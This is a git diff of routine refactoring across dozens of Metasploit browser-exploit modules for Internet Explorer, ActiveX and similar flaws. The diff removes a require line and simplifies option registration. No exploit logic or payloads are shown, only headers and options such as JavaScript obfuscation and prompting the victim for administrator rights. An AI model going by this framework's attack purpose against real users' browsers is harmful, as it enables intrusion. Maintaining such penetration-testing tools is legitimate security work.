a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb index bddfbd2985..d7f3a33f9e 100644 --- a/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb +++ b/modules/exploits/windows/browser/ms08_070_visual_studio_msmask.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb index d1bb4018fe..ca2eb514a8 100644 --- a/modules/exploits/windows/browser/ms08_078_xml_corruption.rb +++ b/modules/exploits/windows/browser/ms08_078_xml_corruption.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb index e3d674c967..e8c7a9d09c 100644 --- a/modules/exploits/windows/browser/ms09_002_memory_corruption.rb +++ b/modules/exploits/windows/browser/ms09_002_memory_corruption.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb index f1351ca547..3834344361 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_htmlurl.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -68,7 +66,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb index 8bef321090..d8105c633f 100644 --- a/modules/exploits/windows/browser/ms09_043_owc_msdso.rb +++ b/modules/exploits/windows/browser/ms09_043_owc_msdso.rb @@ -4,8 +4,6 @@ ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms09_072_style_object.rb b/modules/exploits/windows/browser/ms09_072_style_object.rb index db5edffd29..e7149edb93 100644 --- a/modules/exploits/windows/browser/ms09_072_style_object.rb +++ b/modules/exploits/windows/browser/ms09_072_style_object.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms10_002_aurora.rb b/modules/exploits/windows/browser/ms10_002_aurora.rb index 41e2c4b8f7..47cb38f233 100644 --- a/modules/exploits/windows/browser/ms10_002_aurora.rb +++ b/modules/exploits/windows/browser/ms10_002_aurora.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms10_002_ie_object.rb b/modules/exploits/windows/browser/ms10_002_ie_object.rb index a3acec9c72..5ad74a175b 100644 --- a/modules/exploits/windows/browser/ms10_002_ie_object.rb +++ b/modules/exploits/windows/browser/ms10_002_ie_object.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb index cfd43a5b1a..896b438643 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_behaviors.rb @@ -20,8 +20,6 @@ # http://www.rec-sec.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb index 4735af705f..e2f98ca51d 100644 --- a/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb +++ b/modules/exploits/windows/browser/ms10_018_ie_tabular_activex.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb index 097cae4618..ee5dd88a2f 100644 --- a/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb +++ b/modules/exploits/windows/browser/ms10_022_ie_vbscript_winhlp32.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking @@ -74,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]), OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb index 6866f86857..209ba913ee 100644 --- a/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb +++ b/modules/exploits/windows/browser/ms10_026_avi_nsamplespersec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb index d6f2f8e684..8306ab6e04 100644 --- a/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb +++ b/modules/exploits/windows/browser/ms10_042_helpctr_xss_cmd_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]), OptString.new( 'DIALOGMECH', [ true, "IE8/WMP11 trigger mechanism (none, iframe, or player).", "iframe"]) - ], self.class) + ]) deregister_options('SSL', 'SSLVersion') # Just for now end diff --git a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb index 5e71f5dabc..217469f68e 100644 --- a/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb +++ b/modules/exploits/windows/browser/ms10_046_shortcut_icon_dllloader.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -58,7 +56,7 @@ class MetasploitModule < Msf::Exploit::Remote OptPort.new( 'SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), OptString.new( 'URIPATH', [ true, "The URI to use (do not change).", "/" ]), OptString.new( 'UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) - ], self.class) + ]) deregister_options('SSL', 'SSLVersion') # Just for now end diff --git a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb index adecbbaa0e..206807fc93 100644 --- a/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb +++ b/modules/exploits/windows/browser/ms10_090_ie_css_clip.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking diff --git a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb index 6ad6f0d3f7..42940dc975 100644 --- a/modules/exploits/windows/browser/ms11_003_ie_css_import.rb +++ b/modules/exploits/windows/browser/ms11_003_ie_css_import.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking # Need more love for Great @@ -136,7 +134,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', true]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb index e6e9341fee..bd02182d46 100644 --- a/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb +++ b/modules/exploits/windows/browser/ms11_050_mshtml_cobjectelement.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -112,7 +110,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end def auto_target(cli, request) diff --git a/modules/exploits/windows/browser/ms11_081_option.rb b/modules/exploits/windows/browser/ms11_081_option.rb index e5b79c692f..2cdceda777 100644 --- a/modules/exploits/windows/browser/ms11_081_option.rb +++ b/modules/exploits/windows/browser/ms11_081_option.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -59,7 +57,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ms11_093_ole32.rb b/modules/exploits/windows/browser/ms11_093_ole32.rb index 0ce8917f60..781ba57f55 100644 --- a/modules/exploits/windows/browser/ms11_093_ole32.rb +++ b/modules/exploits/windows/browser/ms11_093_ole32.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -73,7 +71,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ms12_004_midi.rb b/modules/exploits/windows/browser/ms12_004_midi.rb index 1e4148a5fe..97e51acb4f 100644 --- a/modules/exploits/windows/browser/ms12_004_midi.rb +++ b/modules/exploits/windows/browser/ms12_004_midi.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -98,7 +96,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) register_advanced_options( [ @@ -111,7 +109,7 @@ class MetasploitModule < Msf::Exploit::Remote '8.0.6001.19120' #fully patched before KB2598479 - been the same at least since Sep 2011 ] ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb index bd21e67a57..1940b5965c 100644 --- a/modules/exploits/windows/browser/ms12_037_ie_colspan.rb +++ b/modules/exploits/windows/browser/ms12_037_ie_colspan.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -74,7 +72,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end def get_target(agent) diff --git a/modules/exploits/windows/browser/ms12_037_same_id.rb b/modules/exploits/windows/browser/ms12_037_same_id.rb index 8e1aa2f595..0fe2e63e21 100644 --- a/modules/exploits/windows/browser/ms12_037_same_id.rb +++ b/modules/exploits/windows/browser/ms12_037_same_id.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -83,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb index da1bca2765..d224d9bb21 100644 --- a/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb +++ b/modules/exploits/windows/browser/ms13_009_ie_slayoutrun_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = AverageRanking @@ -55,7 +53,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb index a9a55bf86b..76fd27b45c 100644 --- a/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb +++ b/modules/exploits/windows/browser/ms13_022_silverlight_script_object.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb index 9aace12737..933bb6a285 100644 --- a/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb +++ b/modules/exploits/windows/browser/ms13_037_svg_dashstyle.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -83,7 +81,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) register_advanced_options( [ @@ -91,7 +89,7 @@ class MetasploitModule < Msf::Exploit::Remote # * ntdll.dll v6.1.7601.17514 (fresh W7SP1 installation) # * ntdll.dll v6.1.7601.17725 (MS12-001) OptEnum.new('ROP', [true, 'The type of ROP to use (JRE6 or leak NTDLL)', 'NTDLL', ['JRE6', 'NTDLL'] ]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/browser/ms13_055_canchor.rb b/modules/exploits/windows/browser/ms13_055_canchor.rb index 9aff17a110..0ceb825484 100644 --- a/modules/exploits/windows/browser/ms13_055_canchor.rb +++ b/modules/exploits/windows/browser/ms13_055_canchor.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb index bc1a43968d..b35d790498 100644 --- a/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb +++ b/modules/exploits/windows/browser/ms13_059_cflatmarkuppointer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms13_069_caret.rb b/modules/exploits/windows/browser/ms13_069_caret.rb index ea4b88d0fd..c471d9a666 100644 --- a/modules/exploits/windows/browser/ms13_069_caret.rb +++ b/modules/exploits/windows/browser/ms13_069_caret.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb index e635e9d0f5..1865698449 100644 --- a/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb +++ b/modules/exploits/windows/browser/ms13_080_cdisplaypointer.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb index 04a9053d34..64009ca45e 100644 --- a/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb +++ b/modules/exploits/windows/browser/ms13_090_cardspacesigninhelper.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb index 8905a75dc4..310865586f 100644 --- a/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb +++ b/modules/exploits/windows/browser/ms14_012_cmarkup_uaf.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms14_012_textrange.rb b/modules/exploits/windows/browser/ms14_012_textrange.rb index 8b62789967..c09549f956 100644 --- a/modules/exploits/windows/browser/ms14_012_textrange.rb +++ b/modules/exploits/windows/browser/ms14_012_textrange.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb index a539f7c1f8..aa0d007eb3 100644 --- a/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb +++ b/modules/exploits/windows/browser/ms14_064_ole_code_execution.rb @@ -4,7 +4,6 @@ ## -require 'msf/core' require 'msf/core/exploit/powershell' class MetasploitModule < Msf::Exploit::Remote @@ -86,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptBool.new('TRYUAC', [true, 'Ask victim to start as Administrator', false]), OptBool.new('AllowPowershellPrompt', [true, 'Allow exploit to try Powershell', false]) - ], self.class ) + ]) end diff --git a/modules/exploits/windows/browser/ms16_051_vbscript.rb b/modules/exploits/windows/browser/ms16_051_vbscript.rb index bbb1427d0f..a4cc7016cf 100644 --- a/modules/exploits/windows/browser/ms16_051_vbscript.rb +++ b/modules/exploits/windows/browser/ms16_051_vbscript.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/msvidctl_mpeg2.rb b/modules/exploits/windows/browser/msvidctl_mpeg2.rb index 8a2c327422..1d98baff20 100644 --- a/modules/exploits/windows/browser/msvidctl_mpeg2.rb +++ b/modules/exploits/windows/browser/msvidctl_mpeg2.rb @@ -20,8 +20,6 @@ # http://www.rec-sec.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -70,7 +68,7 @@ class MetasploitModule < Msf::Exploit::Remote register_advanced_options( [ OptString.new('ClassID', [ false, "Specific ClassID to use (otherwise randomized)", nil ]), - ], self.class) + ]) @javascript_encode_key = rand_text_alpha(rand(10) + 10) end diff --git a/modules/exploits/windows/browser/mswhale_checkforupdates.rb b/modules/exploits/windows/browser/mswhale_checkforupdates.rb index 09b8351635..adb653b740 100644 --- a/modules/exploits/windows/browser/mswhale_checkforupdates.rb +++ b/modules/exploits/windows/browser/mswhale_checkforupdates.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index d55c8d119f..7f42a7fb6b 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking @@ -127,7 +125,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end def get_target(agent) diff --git a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb index 52f37d6fd8..e6d48b87b8 100644 --- a/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb +++ b/modules/exploits/windows/browser/nctaudiofile2_setformatlikesample.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/nis2004_antispam.rb b/modules/exploits/windows/browser/nis2004_antispam.rb index 35671acecc..fe50125486 100644 --- a/modules/exploits/windows/browser/nis2004_antispam.rb +++ b/modules/exploits/windows/browser/nis2004_antispam.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/nis2004_get.rb b/modules/exploits/windows/browser/nis2004_get.rb index fb3fd45964..10bfd980be 100644 --- a/modules/exploits/windows/browser/nis2004_get.rb +++ b/modules/exploits/windows/browser/nis2004_get.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/notes_handler_cmdinject.rb b/modules/exploits/windows/browser/notes_handler_cmdinject.rb index 011b5f84d5..06349664b4 100644 --- a/modules/exploits/windows/browser/notes_handler_cmdinject.rb +++ b/modules/exploits/windows/browser/notes_handler_cmdinject.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking @@ -60,7 +58,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end def exploit diff --git a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb index 98709c17f2..e1307747e1 100644 --- a/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb +++ b/modules/exploits/windows/browser/novell_groupwise_gwcls1_actvx.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -78,7 +76,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false]) - ], self.class) + ]) end diff --git a/modules/exploits/windows/browser/novelliprint_callbackurl.rb b/modules/exploits/windows/browser/novelliprint_callbackurl.rb index 042abf46a7..2bb21ff884 100644 --- a/modules/exploits/windows/browser/novelliprint_callbackurl.rb +++ b/modules/exploits/windows/browser/novelliprint_callbackurl.rb @@ -32,8 +32,6 @@ # http://www.rec-sec.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/novelliprint_datetime.rb b/modules/exploits/windows/browser/novelliprint_datetime.rb index fb669b078b..c532a45028 100644 --- a/modules/exploits/windows/browser/novelliprint_datetime.rb +++ b/modules/exploits/windows/browser/novelliprint_datetime.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/novelliprint_executerequest.rb b/modules/exploits/windows/browser/novelliprint_executerequest.rb index 8cfc00ade1..78f7bba286 100644 --- a/modules/exploits/windows/browser/novelliprint_executerequest.rb +++ b/modules/exploits/windows/browser/novelliprint_executerequest.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb index 20a29ec374..12b097b39b 100644 --- a/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb +++ b/modules/exploits/windows/browser/novelliprint_executerequest_dbg.rb @@ -32,8 +32,6 @@ # http://www.rec-sec.com ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb index c784347f9d..dc8852724c 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings.rb @@ -5,8 +5,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb index 6badf5ec16..b357802bcc 100644 --- a/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb +++ b/modules/exploits/windows/browser/novelliprint_getdriversettings_2.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/novelliprint_target_frame.rb b/modules/exploits/windows/browser/novelliprint_target_frame.rb index 34573d0248..5bf295df51 100644 --- a/modules/exploits/windows/browser/novelliprint_target_frame.rb +++ b/modules/exploits/windows/browser/novelliprint_target_frame.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking diff --git a/modules/exploits/windows/browser/ntr_activex_check_bof.rb b/modules/exploits/windows/browser/ntr_activex_check_bof.rb index a309616e1f..d5f8cffd51 100644 --- a/modules/exploits/windows/browser/ntr_activex_check_bof.rb +++ b/modules/exploits/windows/browser/ntr_activex_check_bof.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb index 18cdbcf0f9..6affbad40a 100644 --- a/modules/exploits/windows/browser/ntr_activex_stopmodule.rb +++ b/modules/exploits/windows/browser/ntr_activex_stopmodule.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb index 57f35dfbae..a36d3214f3 100644 --- a/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb +++ b/modules/exploits/windows/browser/oracle_autovue_setmarkupmode.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking diff --git a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb index a369d42b06..c9503bd66d 100644 --- a/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb +++ b/modules/exploits/windows/browser/oracle_dc_submittoexpress.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking @@ -48,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ OptString.new('URIPATH', [ true, "The URI to use.", "/" ]) - ], self.class) + ]) end def autofilter diff --git a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb index 9d51003aa1..2ed2cb2dff 100644 --- a/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb +++ b/modules/exploits/windows/browser/oracle_webcenter_checkoutandopen.rb @@ -3,8 +3,6 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' - class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking 